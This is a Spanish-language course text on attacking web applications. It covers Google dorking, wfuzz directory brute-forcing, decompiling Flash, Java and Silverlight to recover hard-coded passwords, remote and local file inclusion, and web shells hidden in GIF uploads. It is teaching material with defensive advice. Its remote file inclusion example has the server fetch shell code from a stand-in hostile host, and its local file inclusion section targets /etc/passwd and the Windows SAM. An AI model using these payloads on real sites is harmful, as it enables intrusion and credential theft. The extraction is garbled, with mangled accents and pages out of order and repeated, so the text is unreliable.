Google indexa hoy en diacutea millones de paacuteginas web y no entiende de zonas
privadas ni restringidas Todo aquello que esteacute enlazado a alguacuten sitio y sea
accesible estaraacute en Google Si conocemos coacutemo funciona Google (y en general
los buscadores) podremos acceder a mucha informacioacuten que ni siquiera sus
propietarios saben que se encuentra ahiacute
Es por esta razoacuten por lo que saber coacutemo hacer preguntas a Google sobre la
informacioacuten que nos interesa es muy importante permitieacutendonos recopilar
mucha informacioacuten sobre un sitio web sin necesidad de realizar en principio
ninguna peticioacuten al servidor en cuestioacuten
Google ofrece varios filtros que nos permitiraacuten afinar la buacutesqueda que quere-
mos realizar y que combinados unos con otros alcanzan una potencia mucho
mayor
bull +ltpalabragt Incluir un + (maacutes) delante de una palabra requiere la presencia
obligatoria de esta palabra en las paacuteginas devueltas
bull -ltpalabragt Con un siacutembolo ndash (menos) delante de una palabra excluye
todos los resultados que contengan esa palabra
bull ldquoltpalabrasgtrdquo Al colocar una frase entre comillas dobles buscamos cadenas
completas de texto dentro de los resultados
bull Se puede usar el caraacutecter con el significado de que puede aparecer cual-
quier palabra dentro de una frase entrecomillada
bull intitlelttextogt Permite buscar en el tiacutetulo de la paacutegina
bull inurllttextogt Realiza las buacutesquedas en la URL de la paacutegina
bull intextlttextogt Busca el texto en el cuerpo de las paacuteginas devueltas
bull filetypeltextensioacutengt Restringe la buacutesqueda a la extensioacuten especifi-
cada
bull domainltdominiogt Limita los resultados al dominio especificado Se
puede usar solo el identificador del paiacutes (como es)
Con estos filtros y combinaacutendolos entre siacute podemos lograr encontrar cualquier
cosa que esteacute en Internet
CC-BY-NC-ND bull PID_00191662 62 Ataques a aplicaciones web
Figura 46 Resultados de la buacutesqueda +usersmdb intitlerdquoIndex ofrdquo
Google Hacking Database es una base de datos de buacutesquedas de corroborada
eficacia que permite obtener datos interesantes referentes a ficheros de confi-
guracioacuten zonas privadas dispositivos conectados a la red software vulnera-
ble etc
Usando este tipo de buacutesquedas se puede llegar a conocer muchiacutesimos datos
de un servidor Uno de los ejemplos maacutes claros es la posibilidad de localizar
subdominios de un dominio dado mediante buacutesquedas recursivas Vamos a
realizar un ejemplo para que quede demostrada la utilidad de estas teacutecnicas
Para empezar se selecciona un dominio en este caso se ha elegido el dominio
uoces y se ejecuta la siguiente buacutesqueda
siteuocedu
Esta buacutesqueda devuelve 587000 resultados Evidentemente todas estas paacutegi-
nas no pertenecen solo a un dominio sino que habraacute distintos sitios implica-
dos
El proceso es simple Consiste en ver cuaacutel es el subdominio del primer resul-
tado devuelto y antildeadirlo con un siacutembolo ndash (menos) delante Por ejemplo
-www siteuoces
Excluyendo el subdominio www de las buacutesquedas obtendremos un nuacutemero de
paacuteginas devueltas de 631000 Siguiendo este proceso llegaremos hasta generar
una buacutesqueda que no nos devuelva ninguacuten resultado una aproximacioacuten seriacutea
la siguiente
-acc -rusc -elcrps -blogs -personal -eprints -cataleg -osrt -clab -unescochair -elearning
-multimedia -edulab -net -itol -gres -red -lletra -laboralcentrodearte -lpg -elconcept
-biblioteca -comein -foto -guatemala -einflinux1 -cicr -campus -icesd -laos -xequia
CC-BY-NC-ND bull PID_00191662 63 Ataques a aplicaciones web
-dpcs -cimanet -comoras -marroc -colleague -colloque -xina -macedonia -oliba -cv
-www -biblio siteuoces
Cabe recordar que hasta este momento y mediante esta teacutecnica en ninguacuten
momento se ha realizado ninguna peticioacuten directa hacia el dominio uoces
por lo que seriacutea imposible conocer quieacuten estaacute intentando averiguar informa-
cioacuten sobre nuestro dominio
Otras buacutesquedas que podemos encontrar aquiacute son las que nos pueden devolver
todos los ficheros ofimaacuteticos del servidor tales como ficheros doc xls pdf
etc
Estos ficheros en sus distintas versiones incluyen mayor o menor cantidad
de metadatos que tienen informacioacuten acerca de nombres de usuarios o rutas
locales del ordenador donde se generoacute el fichero Con toda esta informacioacuten
un atacante podriacutea empezar a utilizar un programa de fuerza bruta para inten-
tar sacar las contrasentildeas
CC-BY-NC-ND bull PID_00191662 64 Ataques a aplicaciones web
6 Seguridad por ocultacioacuten
Es habitual esconder una llave ldquode emergenciardquo en alguacuten lugar cercano a la
puerta de una casa para que dado el caso podamos entrar si hemos perdido
nuestra llave Evidentemente esto no es nada seguro pues cualquier persona
que la encuentre podraacute acceder al igual que nosotros a nuestra casa
Este siacutemil con la vida real sirve para enlazar la idea con una aplicacioacuten web
Es comuacuten entre los programadores web usar directorios especiacuteficos para acti-
vidades especiacuteficas como la administracioacuten las zonas de pruebas o la subida
de ficheros temporales Algunas de las maacutes comunes son
bull admin
bull logs
bull uploads
bull phpmyadmin
bull tmp
Estos directorios se pueden descubrir mediante pruebas manuales o haciendo
uso de alguacuten programa tipo fuzzer6 que realice las peticiones por nosotros
En este caso lo vamos a usar para automatizar la buacutesqueda de directorios con
nombres conocidos
Wfuzz es un programa de este tipo realiza conexiones a un servidor web sus-
tituyendo en la zona de la URL que nosotros especifiquemos una cadena de
texto que va cogiendo liacutenea tras liacutenea de un fichero de texto
Se puede descargar gratuitamente y lo vamos a usar para realizar una demos-
tracioacuten de los datos que se pueden llegar a obtener mediante esta herramienta
Vamos a aprender a usarla pues la sintaxis es simple
wfuzzexe -z file -f wordlistscommontxt --hc 404 httpwwwvictimacomFUZZ
La liacutenea anterior representa una ejecucioacuten tiacutepica del programa Wfuzz y nos va
a servir como ejemplo para determinar cuaacuteles son los paraacutemetros maacutes uacutetiles a la
hora de realizar un anaacutelisis mediante esta herramienta Con estos paraacutemetros
estaremos indicaacutendole al programa que
bull -z Use el payload de tipo fichero Esto es los nombres de las carpetas ocul-
tas que vamos a buscar se van a coger desde un fichero de texto
(6)Un programa fuzzer es un pro-grama que automatiza tareas repe-titivas
CC-BY-NC-ND bull PID_00191662 65 Ataques a aplicaciones web
bull -f El nombre del fichero que se va a usar En este caso hemos seleccionado
el fichero commontxt que acompantildea al programa y que contiene una lista
de los nombres maacutes comunes de directorios ocultos
bull --hc 404 El paraacutemetro hc nos permite eliminar resultados de la salida del
programa en base al coacutedigo HTTP que se devuelva En el ejemplo se ha
usado el coacutedigo 404 por ser el coacutedigo asociado a los errores en el protocolo
HTTP Tambieacuten se pueden establecer filtros por nuacutemero de liacuteneas (--hl) y
palabras (--hw) que contiene una paacutegina por si nos encontramos con un
servidor que devuelva siempre una paacutegina con coacutedigo 200
bull httpwwwvictimacomFUZZ Allaacute donde coloquemos la palabra fuzz se-
raacute donde el programa incluya en cada peticioacuten la palabra siguiente del fi-
chero especificado
Figura 47 Resultado de la ejecucioacuten del programa Wfuzz
En la imagen anterior apreciamos coacutemo el programa ha detectado una serie
de directorios en el servidor analizado De estos directorios los de ldquopasswordrdquo
y ldquotestrdquo pueden resultar interesantes para comenzar a realizar una revisioacuten de
seguridad
Otra manera de encontrar directorios y ficheros ocultos en una aplicacioacuten es la
buacutesqueda del fichero robotstxt Este fichero es usado por los administradores
de sitios web para evitar que Google y otros buscadores indexen zonas que
no desean
CC-BY-NC-ND bull PID_00191662 66 Ataques a aplicaciones web
Figura 48 Ejemplo de fichero robotstxt
El problema es que mucha gente no entiende completamente el concepto de
este fichero antildeadiendo a eacutel todas las rutas que no quieren que se indexen
aunque no esteacuten enlazados desde ninguacuten sitio (recordemos que los buscado-
res solo indexan si se realiza un enlace desde alguacuten sitio) Por ello podemos
encontrarnos con ficheros robotstxt que contienen referencias a zonas admi-
nistrativas de pruebas privadas
Otro fichero que puede darnos mucha informacioacuten y que al contrario de
los anteriores es informacioacuten puacuteblica es el fichero sitemapxml El fichero
sitemapxml es un fichero propuesto por Google como una manera de indi-
carle al buscador cuaacuteles son las paacuteginas maacutes interesantes de un sitio web y
cuaacuteles son las menos actualizadas Esta informacioacuten parece obvia y podemos
descubrirla nosotros mismos navegando por la paacutegina Sin embargo es de vital
importancia pues nos ahorra tiempo en navegar por el sitio y con una sola
peticioacuten obtenemos un esquema de la estructura del mismo A continuacioacuten
se muestra un ejemplo de un fichero sitemapxml
ltxml version=10 encoding=UTF-8gt
lturlset xmlns=httpwwwsitemapsorgschemassitemap09gt
lturlgt
ltlocgthttpwwwacomltlocgt
ltlastmodgt2005-01-01ltlastmodgt
ltchangefreqgtmonthlyltchangefreqgt
ltprioritygt08ltprioritygt
lturlgt
lturlgt
ltlocgthttpwwwacomnewsltlocgt
ltchangefreqgtweeklyltchangefreqgt
lturlgt
lturlgt
ltlocgthttpwwwacomarchiveltlocgt
ltlastmodgt2004-12-23ltlastmodgt
changefreqgtweeklyltchangefreqgt
CC-BY-NC-ND bull PID_00191662 67 Ataques a aplicaciones web
lturlgt
lturlgt ltlocgthttpwwwacomfaqltlocgt
ltlastmodgt2004-12-23T180015+0000ltlastmodgt
ltprioritygt03ltprioritygt
lturlgt
lturlgt ltlocgthttpwwwacomaboutltlocgt
ltlastmodgt2004-11-23ltlastmodgt
lturlgt
lturlsetgt
61 Descompiladores de applets web
611 Flash
Flash se ha puesto cada vez maacutes de moda como una manera de ofrecer una
interfaz atractiva al usuario final En la actualidad hay multitud de paacuteginas
que hacen un uso casi abusivo de esta tecnologiacutea Pero debemos tener en con-
sideracioacuten algo importante y es que Flash no es maacutes que la capa de presenta-
cioacuten sobre la capa de datos y nunca una uacutenica capa que se encarga de todo
aunque a veces ocurre
Es por ello por lo que estas paacuteginas en Flash si cargan datos dinaacutemicamente
han de llamar a paacuteginas que se los devuelvan en funcioacuten de los paraacutemetros
proporcionados Estos paraacutemetros podriacutean ser vulnerables a las inyecciones de
coacutedigo que se comentaron anteriormente Estas llamadas a ficheros externos
se pueden observar faacutecilmente usando un sniffer del protocolo HTTP
Un ejemplo claro de esto son las paacuteginas que usan un reproductor de audio
en Flash y en las que podemos descargar los ficheros mp3 sin necesidad de ver
el coacutedigo fuente del fichero Flash
CC-BY-NC-ND bull PID_00191662 68 Ataques a aplicaciones web
Figura 49 Captura del fichero mp3 reproducido desde unreproductor web
Tambieacuten es posible en ficheros Flash la descompilacioacuten de los ficheros dando
lugar a un pseudocoacutedigo legible que permitiriacutea a un atacante conocer coacutemo
actuacutea internamente el fichero Ademaacutes es posible convertir el coacutedigo a un en-
samblador de ActionScript7 que podemos modificar y volver a compilar daacuten-
donos la posibilidad por ejemplo de incluir coacutedigo Javascript dentro de un
fichero Flash
Existen muacuteltiples programas para realizar esta accioacuten y aquiacute vamos a mostrar
coacutemo realizar esto mediante el programa Flasm de descarga gratuita
La aplicacioacuten se ejecuta desde consola Recibe el paraacutemetro ndashd para descompi-
lar el fichero swf que recibe Al volcar el coacutedigo por pantalla necesitamos redi-
rigir hacia un fichero de texto la salida del programa En este ejemplo vamos
a realizar la accioacuten con un pequentildeo juego Flash
Figura 50 Ejecucioacuten del comando flasmexe
Este comando parsea el fichero swf y extrae el coacutedigo asociado a eacutel Logra
extraer el coacutedigo y convertirlo en un lenguaje parecido al ensamblador
(7)Es el lenguaje usado internamen-te para programar las aplicacio-nes Flash Tiene una sintaxis pare-cida a Javascript y es un lenguajeinterpretado lo cual significa quepodemos lograr extraer el coacutedigofuente original del fichero swf
CC-BY-NC-ND bull PID_00191662 69 Ataques a aplicaciones web
Figura 51 Volcado del coacutedigo del fichero swf
Conocer el coacutedigo fuente de un fichero swf nos puede ayudar a entender coacutemo
funciona la aplicacioacuten a buscar fallos de seguridad en el coacutedigo o a localizar las
URL a las que hace referencia para cargar informacioacuten dentro de la aplicacioacuten
Flash Una vez localizadas estas URL seriacutea cuestioacuten de probar sobre ellas los
fallos de seguridad comentados en capiacutetulos anteriores
612 Java
Al igual que con los ficheros Flash aunque con menos popularidad en la ac-
tualidad existen los llamados applets Java pequentildeas aplicaciones que se eje-
cutan dentro de nuestro navegador
Java se ejecuta sobre una maacutequina virtual se puede ejecutar el mismo coacutedigo
en cualquier ordenador que implemente la maacutequina virtual de Java Esto tiene
muchas ventajas a la hora de exportar nuestra aplicacioacuten Sin embargo esto
tambieacuten nos permite poder extraer el coacutedigo exactamente igual que lo haciacutea-
mos en Flash
Para realizar esta accioacuten existen programas que efectuacutean esta conversioacuten y nos
muestran el coacutedigo Java original En la captura siguiente el programa usado
es Java Decompiler un programa gratuito que nos permitiraacute realizar estas ac-
ciones
CC-BY-NC-ND bull PID_00191662 70 Ataques a aplicaciones web
Figura 52 Pantalla principal del Java Decompiler
613 NET
Microsoft ha sumado su plataforma NET a la web Existen las aplicaciones
ASPNET que se ejecutan del lado del servidor y que no vamos a poder auditar
maacutes allaacute de los paraacutemetros que reciba Sin embargo estaacute poco a poco expan-
dieacutendose una nueva tecnologiacutea llamada Silverlight Silverlight es un compila-
do NET que se carga desde el servidor mediante un plugin en nuestro navega-
dor Esto al igual que Flash y Java nos permite analizar el coacutedigo fuente de
la aplicacioacuten Silverlight
Figura 53 Aplicacioacuten de muestra de Silverlight
CC-BY-NC-ND bull PID_00191662 71 Ataques a aplicaciones web
En la captura anterior se puede observar una aplicacioacuten Silverlight muy simple
Nos va a solicitar usuario y contrasentildea para lograr entrar Esta aplicacioacuten estaacute
programada para que compruebe los datos introducidos con unos datos que
estaacuten escritos dentro de la aplicacioacuten Esto es un grave fallo de seguridad y
vamos a ver coacutemo analizar el fichero para sacar el usuario y la contrasentildea
vaacutelidos El detalle de coacutedigo Javascript seriacutea
Para descargar una aplicacioacuten Silverlight debemos localizar dentro del coacutedigo
HTML la seccioacuten de coacutedigo que realice la carga del fichero XAP Este fichero
contiene todo el coacutedigo de la aplicacioacuten Silverlight y seraacute lo que nuestro na-
vegador interprete
El fichero XAP contiene una serie de ficheros necesarios para la ejecucioacuten del
programa Estos ficheros son compilados de NET y pueden ser analizados me-
diante programas como NET Reflector Los ficheros contenidos en este fiche-
ro pueden ser extraiacutedos mediante el uso de cualquier programa descompresor
pues realmente es un fichero ZIP
Figura 54ndash Fichero xap descomprimido
Una vez descomprimido se nos muestran una serie de archivos Estos archivos
contienen informacioacuten referente a la interfaz usada por la aplicacioacuten pero
realmente los datos importantes se encuentran en el fichero Test001dll (en el
ejemplo actual) Este fichero puede ser descompilado mediante el programa
indicado anteriormente y acceder al coacutedigo fuente interno En este caso se
observan dos clases principales App y MainPage
CC-BY-NC-ND bull PID_00191662 72 Ataques a aplicaciones web
Figura 55 Detalle del programa descompilado
En la imagen anterior observamos coacutemo en la clase MainPage existe un meacuteto-
do btnOK_Click Este meacutetodo es el llamado cuando pulsamos sobre el botoacuten
de Entrar de la aplicacioacuten En el coacutedigo asociado vemos coacutemo se comprueba el
nombre de usuario con la cadena ldquotestrdquo y la clave con la cadena ldquomelonrdquo
Tanto Silverlight como los applets Java o las aplicaciones Flash son una mera
forma de poner un contenido de una manera maacutes vistosa para el usuario Sin
embargo a veces los desarrolladores web lo usan como un lenguaje de progra-
macioacuten web completamente vaacutelido algo que se ha demostrado muy inseguro
CC-BY-NC-ND bull PID_00191662 73 Ataques a aplicaciones web
Bibliografiacutea
Andreu A (2006) Professional Pen Testing for Web Applications Ed Wrox
Clarke J (2009) SQL Injection Attacks and defense E Syngress
Grossman J et al (2007) Xss Attacks Cross Site Scripting Exploits And Defense Ed Syngress
Scambray J Shema M and Sima C (2006) Hacking Expose Web Applications Ed Mc-Graw-HillOsborne Media
Stuttard D (2007) The Web Application Hackers Handbook Discovering and Exploiting Secu-rity Flaws Ed Wiley
CC-BY-NC-ND bull PID_00191662 56 Ataques a aplicaciones web
4 Ataques de inyeccioacuten de ficheros
41 Remote file inclusion
Remote file inclusion es la vulnerabilidad consistente en ejecutar coacutedigo
remoto dentro de la aplicacioacuten vulnerable Se basa en la idea de que al
igual que es posible cargar un fichero local para su inclusioacuten dentro de la
paacutegina podriacuteamos cargar uno remoto que contuviese coacutedigo malicioso
Esto es posible en lenguajes interpretados donde podemos incluir un fichero
con coacutedigo y antildeadirlo a la ejecucioacuten En el siguiente ejemplo se toma como
base una paacutegina programada en PHP
httpwwwmipaginacommostrarphppag=indexphp
PHP hace uso de funciones que permiten la inclusioacuten de ficheros externos
para generar paacuteginas maacutes complejas y maacutes completas En el hipoteacutetico ejemplo
anterior el fichero mostrarphp hariacutea uso de alguna de estas funciones de PHP
que permiten la inclusioacuten dinaacutemica de ficheros
bull include($pag)
bull require($pag)
bull include_once($pag)
bull require_once($pag)
Estas funciones reciben un paraacutemetro (llamado $pag en este ejemplo) que in-
dica la ruta del fichero que ha de incluirse Si la variable pag no estaacute suficien-
temente controlada podremos hacer una llamada a un fichero externo que se
descargaraacute e interpretaraacute en el lado del servidor
httpwwwmipaginacommostrarphppag=httpmalocomshelltxt
En la llamada anterior el servidor mipaginacom solicitaraacute a malocom el
fichero shelltxt que incluiraacute coacutedigo PHP vaacutelido que se ejecutaraacute en
mipaginacom
Este fallo se debe a una mala configuracioacuten del servidor PHP el cual permite la
inclusioacuten de ficheros externos La configuracioacuten correcta deberiacutea ser la prohi-
bicioacuten total de realizar estas acciones
CC-BY-NC-ND bull PID_00191662 57 Ataques a aplicaciones web
Para establecer una configuracioacuten adecuada en el inteacuterprete de PHP debemos
buscar el fichero phpini de configuracioacuten (en Linux suele estar en etc
php5phpini) y establecer la clave de configuracioacuten allow_url_include
a false
Este fallo de seguridad puede dar lugar a que un atacante logre ejecutar cual-
quier coacutedigo deseado en el servidor web con los riesgos que esto conlleva
Existen ficheros ya pregenerados para ser incluidos dentro del flujo de ejecu-
cioacuten de la aplicacioacuten web Van desde un simple inteacuterprete de comandos a una
completa shell equipada con su propio explorador de ficheros opciones pa-
ra subir o descargar ficheros e incluso la posibilidad de ejecutar programas en
el equipo remoto
Figura 43 Shell remota ejecutaacutendose
Existe una gran variedad de shells remotas que podemos encontrar en Internet
Por ejemplo la shell mostrada en la figura anterior se llama c99 aunque existen
otras como la r57 o c100 De todas maneras siempre podemos programarnos
una propia con la funcionalidad que necesitemos
42 Local file inclusion
Esta vulnerabilidad al contrario que la anterior afecta tanto a lenguajes com-
pilados como interpretados Se basa en la posibilidad de incluir dentro de la
paacutegina un fichero local del usuario con el que se ejecuta el servidor de aplica-
ciones web que tenga permisos de lectura
Esta vulnerabilidad puede ocurrir en cualquier lugar de un sitio web pero suele
ser maacutes comuacuten en dos sitios bien diferenciados
bull Paacuteginas de plantillas carga un fichero desde otro y le da formato
CC-BY-NC-ND bull PID_00191662 58 Ataques a aplicaciones web
bull Paacuteginas de descargas recibe un paraacutemetro con el nombre del fichero a
descargar y lo enviacutea al cliente
El concepto tras ambos fallos es el mismo y las implementaciones defectuo-
sas a veces tambieacuten Para lograr explotar esta vulnerabilidad de una manera
satisfactoria deberiacuteamos poder hacer llamadas a ficheros fuera de la ruta ori-
ginal Esto lo hariacuteamos intentando incluir ficheros de un directorio superior
usando los caracteres en sistemas Linux o en sistemas Windows maacutes
el nombre de un fichero del que conozcamos su existencia Por ejemplo sos-
pechamos que la siguiente URL tiene un fallo de local file inclusion
httpwwwvictimacomnoticiasdetallephpid=4amptipo=deportesphp
Entonces para corroborarlo y determinar que efectivamente nos encontramos
frente a un fallo de remote file inclusion podriacuteamos modificar la URL hasta que
quedase como sigue
httpwwwvictimacomnoticiasdetallephpid=4amptipo=indexphp
Con esta simple comprobacioacuten podriacuteamos detectar si una paacutegina va a ser vul-
nerable a local file inclusion
Esta teacutecnica se puede ampliar (si los permisos lo permiten y no se aplica el
concepto del miacutenimo privilegio) a ficheros fuera del directorio de la aplicacioacuten
web y empezar a incluir ficheros del propio sistema operativo Esto nos per-
mitiraacute obtener maacutes informacioacuten sobre el equipo
Para localizar sin equivocaciones los ficheros podemos usar un fallo de Path
Disclosure para que nos deacute informacioacuten sobre la ruta local donde se ubican
estos De todas maneras y si no sabemos la ruta relativa de un fichero frente
a la paacutegina vulnerable podemos usar las rutas directas4
Existen muchos ficheros interesantes a los que acceder mediante esta teacutecnica
dependiendo de los objetivos del atacante Ademaacutes estos variaraacuten entre distin-
tos sistemas operativos A continuacioacuten se detallan algunos de estos ficheros
como muestra de la informacioacuten que podemos llegar a obtener
bull etcpasswd Fichero de usuarios en sistemas Linux Contiene un com-
pendio de los usuarios existentes asiacute como datos relativos a ellos como
nombre o directorio del home
bull etchosts Permite guardar informacioacuten sobre equipos proacuteximos Suele
contener una lista de nombre e IPS internos que nos permiten obtener una
mejor idea de la estructura interna de una organizacioacuten
bull CWindowsrepairSAM La SAM es el fichero que contiene los nombres
de usuarios y claves de los usuarios de un sistema Windows En la carpeta
(4)Una ruta directa es la que inclu-ye todo el nombre del fichero
CC-BY-NC-ND bull PID_00191662 59 Ataques a aplicaciones web
Repair se almacena una copia del fichero SAM para poder recuperarla en
caso de error del sistema
bull El propio fichero vulnerable Es muy instructivo descargar el propio fichero
vulnerable mediante el fallo de local file inclusion para poder aprender de
los problemas de otros
Para evitar que esta teacutecnica tenga mayor impacto es importante pensar en
montar el servidor con el miacutenimo privilegio posible limitando la posibilidad
de acceso a ficheros del servidor dentro de su propia carpeta con lo que lo-
gramos evitar el acceso a ficheros del sistema aunque no a ficheros propios
de la aplicacioacuten
Figura 44 Ejemplo de local file inclusion
Si queremos hacer una proteccioacuten mediante programacioacuten en lugar de contro-
larlo mediante permisos en el servidor hay que tener en cuenta que las rutas
a ficheros se pueden escribir de dos maneras
bull Directa Escribimos la ruta donde se encuentra el fichero directamente
Deberiacuteamos por tanto eliminar los caracteres o de los datos enviados
por los usuarios
bull Relativa Usamos la canonizacioacuten para subir hacia directorios superiores
mediante el uso de o Lo podriacuteamos evitar excluyendo ademaacutes
de lo anterior los puntos
43 Webtrojans
Una de las funcionalidades maacutes extendidas en paacuteginas web medianamente
complejas es la posibilidad de subir ficheros al servidor imaacutegenes documentos
en PDF ficheros de viacutedeo etc
Cuando un usuario nos enviacutea un fichero debemos comprobar que lo que nos
enviacutea es un fichero legiacutetimo es decir si estamos esperando la llegada de un
fichero con una imagen es necesario comprobar que lo que recibimos es real-
mente una imagen y no otro tipo de fichero
CC-BY-NC-ND bull PID_00191662 60 Ataques a aplicaciones web
Si no comprobamos los ficheros que se nos enviacutean podriacuteamos estar copiando
en nuestro servidor un fichero malintencionado conocido como webtrojan5
Existen multitud de shells remotas en distintos lenguajes a disposicioacuten de cual-
quiera Estas shells suelen ser detectadas por los antivirus para evitar que pasen
desapercibidas a administradores despistados pero pueden ser ldquocamufladasrdquo
dentro de otros ficheros
El ejemplo maacutes claro de coacutemo camuflar un fichero de estos es incluirlo tras
una cabecera de una imagen donde algunos servidores son capaces de ejecutar
el coacutedigo
Figura 45 Webtrojan oculto dentro de un fichero GIF
En la imagen anterior se puede ver coacutemo un fichero gif abierto con un visor
de textos deja a la vista coacutedigo PHP que va a generar una puerta trasera para
subir cualquier tipo de fichero
Para evitar este tipo de problemas debemos comprobar siempre no solo la ex-
tensioacuten sino tambieacuten la cabecera del fichero para corroborar que es del tipo
que nosotros hemos permitido Una buena praacutectica es la de establecer noso-
tros mediante programacioacuten la extensioacuten de los ficheros que se nos suben
evitando que alguien pueda subir un fichero y establecerlo con extensiones
como ASP o PHP
(5)Es una shell remota que pode-mos subir a un servidor aprove-chando un fallo de seguridad
CC-BY-NC-ND bull PID_00191662 61 Ataques a aplicaciones web
5 Google Hacking
Google indexa hoy en diacutea millones de paacuteginas web y no entiende de zonas
privadas ni restringidas Todo aquello que esteacute enlazado a alguacuten sitio y sea
accesible estaraacute en Google Si conocemos coacutemo funciona Google (y en general
los buscadores) podremos acceder a mucha informacioacuten que ni siquiera sus
propietarios saben que se encuentra ahiacute
Es por esta razoacuten por lo que saber coacutemo hacer preguntas a Google sobre la
informacioacuten que nos interesa es muy importante permitieacutendonos recopilar
mucha informacioacuten sobre un sitio web sin necesidad de realizar en principio
ninguna peticioacuten al servidor en cuestioacuten
Google ofrece varios filtros que nos permitiraacuten afinar la buacutesqueda que quere-
mos realizar y que combinados unos con otros alcanzan una potencia mucho
mayor
bull +ltpalabragt Incluir un + (maacutes) delante de una palabra requiere la presencia
obligatoria de esta palabra en las paacuteginas devueltas
bull -ltpalabragt Con un siacutembolo ndash (menos) delante de una palabra excluye
todos los resultados que contengan esa palabra
bull ldquoltpalabrasgtrdquo Al colocar una frase entre comillas dobles buscamos cadenas
completas de texto dentro de los resultados
bull Se puede usar el caraacutecter con el significado de que puede aparecer cual-
quier palabra dentro de una frase entrecomillada
bull intitlelttextogt Permite buscar en el tiacutetulo de la paacutegina
bull inurllttextogt Realiza las buacutesquedas en la URL de la paacutegina
bull intextlttextogt Busca el texto en el cuerpo de las paacuteginas devueltas
bull filetypeltextensioacutengt Restringe la buacutesqueda a la extensioacuten especifi-
cada
bull domainltdominiogt Limita los resultados al dominio especificado Se
puede usar solo el identificador del paiacutes (como es)
Con estos filtros y combinaacutendolos entre siacute podemos lograr encontrar cualquier
cosa que esteacute en Internet
CC-BY-NC-ND bull PID_00191662 62 Ataques a aplicaciones web
Figura 46 Resultados de la buacutesqueda +usersmdb intitlerdquoIndex ofrdquo
Google Hacking Database es una base de datos de buacutesquedas de corroborada
eficacia que permite obtener datos interesantes referentes a ficheros de confi-
guracioacuten zonas privadas dispositivos conectados a la red software vulnera-
ble etc
Usando este tipo de buacutesquedas se puede llegar a conocer muchiacutesimos datos
de un servidor Uno de los ejemplos maacutes claros es la posibilidad de localizar
subdominios de un dominio dado mediante buacutesquedas recursivas Vamos a
realizar un ejemplo para que quede demostrada la utilidad de estas teacutecnicas
Para empezar se selecciona un dominio en este caso se ha elegido el dominio
uoces y se ejecuta la siguiente buacutesqueda
siteuocedu
Esta buacutesqueda devuelve 587000 resultados Evidentemente todas estas paacutegi-
nas no pertenecen solo a un dominio sino que habraacute distintos sitios implica-
dos
El proceso es simple Consiste en ver cuaacutel es el subdominio del primer resul-
tado devuelto y antildeadirlo con un siacutembolo ndash (menos) delante Por ejemplo
-www siteuoces
Excluyendo el subdominio www de las buacutesquedas obtendremos un nuacutemero de
paacuteginas devueltas de 631000 Siguiendo este proceso llegaremos hasta generar
una buacutesqueda que no nos devuelva ninguacuten resultado una aproximacioacuten seriacutea
la siguiente
-acc -rusc -elcrps -blogs -personal -eprints -cataleg -osrt -clab -unescochair -elearning
-multimedia -edulab -net -itol -gres -red -lletra -laboralcentrodearte -lpg -elconcept
-biblioteca -comein -foto -guatemala -einflinux1 -cicr -campus -icesd -laos -xequia
CC-BY-NC-ND bull PID_00191662 63 Ataques a aplicaciones web
-dpcs -cimanet -comoras -marroc -colleague -colloque -xina -macedonia -oliba -cv
-www -biblio siteuoces
Cabe recordar que hasta este momento y mediante esta teacutecnica en ninguacuten
momento se ha realizado ninguna peticioacuten directa hacia el dominio uoces
por lo que seriacutea imposible conocer quieacuten estaacute intentando averiguar informa-
cioacuten sobre nuestro dominio
Otras buacutesquedas que podemos encontrar aquiacute son las que nos pueden devolver
todos los ficheros ofimaacuteticos del servidor tales como ficheros doc xls pdf
etc
Estos ficheros en sus distintas versiones incluyen mayor o menor cantidad
de metadatos que tienen informacioacuten acerca de nombres de usuarios o rutas
locales del ordenador donde se generoacute el fichero Con toda esta informacioacuten
un atacante podriacutea empezar a utilizar un programa de fuerza bruta para inten-
tar sacar las contrasentildeas
CC-BY-NC-ND bull PID_00191662 64 Ataques a aplicaciones web
6 Seguridad por ocultacioacuten
Es habitual esconder una llave ldquode emergenciardquo en alguacuten lugar cercano a la
puerta de una casa para que dado el caso podamos entrar si hemos perdido
nuestra llave Evidentemente esto no es nada seguro pues cualquier persona
que la encuentre podraacute acceder al igual que nosotros a nuestra casa
Este siacutemil con la vida real sirve para enlazar la idea con una aplicacioacuten web
Es comuacuten entre los programadores web usar directorios especiacuteficos para acti-
vidades especiacuteficas como la administracioacuten las zonas de pruebas o la subida
de ficheros temporales Algunas de las maacutes comunes son
bull admin
bull logs
bull uploads
bull phpmyadmin
bull tmp
Estos directorios se pueden descubrir mediante pruebas manuales o haciendo
uso de alguacuten programa tipo fuzzer6 que realice las peticiones por nosotros
En este caso lo vamos a usar para automatizar la buacutesqueda de directorios con
nombres conocidos
Wfuzz es un programa de este tipo realiza conexiones a un servidor web sus-
tituyendo en la zona de la URL que nosotros especifiquemos una cadena de
texto que va cogiendo liacutenea tras liacutenea de un fichero de texto
Se puede descargar gratuitamente y lo vamos a usar para realizar una demos-
tracioacuten de los datos que se pueden llegar a obtener mediante esta herramienta
Vamos a aprender a usarla pues la sintaxis es simple
wfuzzexe -z file -f wordlistscommontxt --hc 404 httpwwwvictimacomFUZZ
La liacutenea anterior representa una ejecucioacuten tiacutepica del programa Wfuzz y nos va
a servir como ejemplo para determinar cuaacuteles son los paraacutemetros maacutes uacutetiles a la
hora de realizar un anaacutelisis mediante esta herramienta Con estos paraacutemetros
estaremos indicaacutendole al programa que
bull -z Use el payload de tipo fichero Esto es los nombres de las carpetas ocul-
tas que vamos a buscar se van a coger desde un fichero de texto
(6)Un programa fuzzer es un pro-grama que automatiza tareas repe-titivas
CC-BY-NC-ND bull PID_00191662 65 Ataques a aplicaciones web
bull -f El nombre del fichero que se va a usar En este caso hemos seleccionado
el fichero commontxt que acompantildea al programa y que contiene una lista
de los nombres maacutes comunes de directorios ocultos
bull --hc 404 El paraacutemetro hc nos permite eliminar resultados de la salida del
programa en base al coacutedigo HTTP que se devuelva En el ejemplo se ha
usado el coacutedigo 404 por ser el coacutedigo asociado a los errores en el protocolo
HTTP Tambieacuten se pueden establecer filtros por nuacutemero de liacuteneas (--hl) y
palabras (--hw) que contiene una paacutegina por si nos encontramos con un
servidor que devuelva siempre una paacutegina con coacutedigo 200
bull httpwwwvictimacomFUZZ Allaacute donde coloquemos la palabra fuzz se-
raacute donde el programa incluya en cada peticioacuten la palabra siguiente del fi-
chero especificado
Figura 47 Resultado de la ejecucioacuten del programa Wfuzz
En la imagen anterior apreciamos coacutemo el programa ha detectado una serie
de directorios en el servidor analizado De estos directorios los de ldquopasswordrdquo
y ldquotestrdquo pueden resultar interesantes para comenzar a realizar una revisioacuten de
seguridad
